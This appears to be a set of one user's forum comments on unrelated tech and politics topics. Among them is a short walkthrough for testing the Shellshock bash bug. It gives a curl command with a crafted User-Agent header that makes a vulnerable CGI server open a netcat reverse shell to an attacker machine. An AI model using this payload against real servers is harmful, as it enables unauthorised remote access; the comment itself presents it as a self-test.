The cork-schnorkeler in charge of the FCC would have schnorkled the corks he was beholden to schnorkel no matter how the comments would have shaken out.
It'd be hilarious if it turned out to be a generational ship hit by a chunk of space debris that made it spin out of control, and we couldn't tell - just a foreign asteroid passing through our solar system. Whoops.
Your cruise misses have been encrypted. Do not bother trying to decrypt your cruise missles as they can only be decrypted by us. Send ${YOOGE_BITCOIN_MONIES} to our friendly decryption service to decrypt your cruise missles.
Here's a fun little test. This is assuming both the attacker and target have netcat installed. On a machine with the vulnerable bash and apache-cgi (behind a firewall for god's sake!) drop a file in your cgi-bin directory:
#!/bin/bash
echo Content-type: text/plain echo ""
pwd
You should be able to go to
http://www.your-server.com/cgi-bin/test.cgi
and get a listing of apache's cgi directory.
Now, from your attack machine run "nc -l -p 1234", and then (in another terminal) run "curl -A "() {:;};/bin/nc attack.machine.ip.address 1234 -c/bin/bash". You now have a shell via netcat.
I used to run a whole pile of servers, from DEC alphas to various Ultrasparcs to Linux servers.... now I'm down to a single ZFS-on-linux SAN server and a Supermicro chassis that has two dual-quad motherboards with 32GB of RAM each running a pair of Xen hypervisors. In my home lab I can fire up VMs left and right to test whatever I need to before I bring it to a client and play with my own projects at the same time. The important stuff I have runs in a datacenter but it's been great having such a flexible home lab. The only downside is the Supermicro is LOUD due to all of it's tiny little high-speed fans so I've had to baffle it with various home-made contraptions to keep it from sounding like a jet.
As far as I can tell from that horrible translation the only real complaints from users are about document interoperability problems and a unified messaging platform. Document format problems were going to be a given as MS will NEVER allow their software to default to an open standard (gotta sell dem Office seats); the best you can do is tell everyone who is going to be dealing with your city to send your documents in universal standard. As far a unified messaging platform goes, somebody screwed up if they couldn't get a fleet of smartphones to talk to a standard email server. Integrating with an open caldav/cardav server is tougher, but not impossible. They've already dropped a lot of cash on this transition and if those are the only two real complaints it seems more likely that the politicos are banking on a pile of $$ concessions from MS.
I thought that getting Gentoo to boot as an HVM under an ancient Xen Dom0 was going to be the thing that made me the angriest today, but then I read this story...
Our very own gestapo, and all it took was one well-placed terrorist attack, a decade of festering, and a populace with no will to stop it.
Household that do not own a TV set? Or households that own a TV set but don't have cable, OTA tv? In our case we dropped cable several years ago, still have OTA TV thanks to an antenna on the roof of our condo, but consume the vast majority of content through a computer hooked to the TV. So we own a TV, but according to Neilsen's rules maybe we don't own a TV? Maybe we just own a huge monitor? Maybe we don't qualify to be a Nielsen Family so we don't count?
I'm also hoping to see SCO v Microsoft, where SCO sues Microsoft for not providing sufficient funds to slow the growth of Linux as agreed, and Microsoft countersues because SCO didn't achieve the success they promised with the initial round of funding.
Woohoo! Microsoft gets to double their investment!
The sad part is, the only ones who made out on the original investment are a bunch of greedy,slimeball shyster lawyers and a greedy, scumsucking worthless CEO. Whoops, I just made a tautology train. Everyone on board! WOO WOOOO
Yes, of course, because in this day and age its not how well you manage the business, its about how much you scam out of it on the way. Straight out of "CEO Monthly".
Let me clarify: 1.) The Apple phones don't work: False - they work just just as well as any other phone on AT&T's POS network 2.) The factory workers kill themselves!: True - That'll teach you to give suicide benefits 3.) No Apps Get Approved: False - Some apps get approved. Fart ones, mainly. But, in the general sieve some decent ones get through too. Welcome to the world of bajillions of developers, some who suck 4.) Moisture Sensors Get Tripped: False - My iPhone is just left of my left nut, and that's a pretty humid place. It seems to like it there, based on the vibrations I get.
Oh. and Apple can go to hell for fucking with SysV init.
It'll take 5 collabrative minutes to make all of the p2p programs out there use port 443 and SSL. Hope you don't mind blocking every bit of ecommerce traffic out there. Oh, sorry, you're going to build systems that will decrypt every last bit of encrypted traffic mid-stream?

they’re not that cheap and they don’t generally want to rewrite or debug their code.
i.e. useless.

Wouldn’t have mattered. https://tech.slashdot.org/stor...

As long as it's instanced I'm cool. I'll just start over after the timer lockout.

they can be sued out of existence for every mistake they make, I'm cool with it.
Yep, if the only real problems are a unified email platform and document formats bribery makes far more sense.

"Others say AMD's most valuable asset may be its deep bench of engineers or its patents."
I thought part of AMD's decline came about from them laying off engineers and moving to software-driven design instead of hand-crafting.
Or HP... So they can make another poor decision.
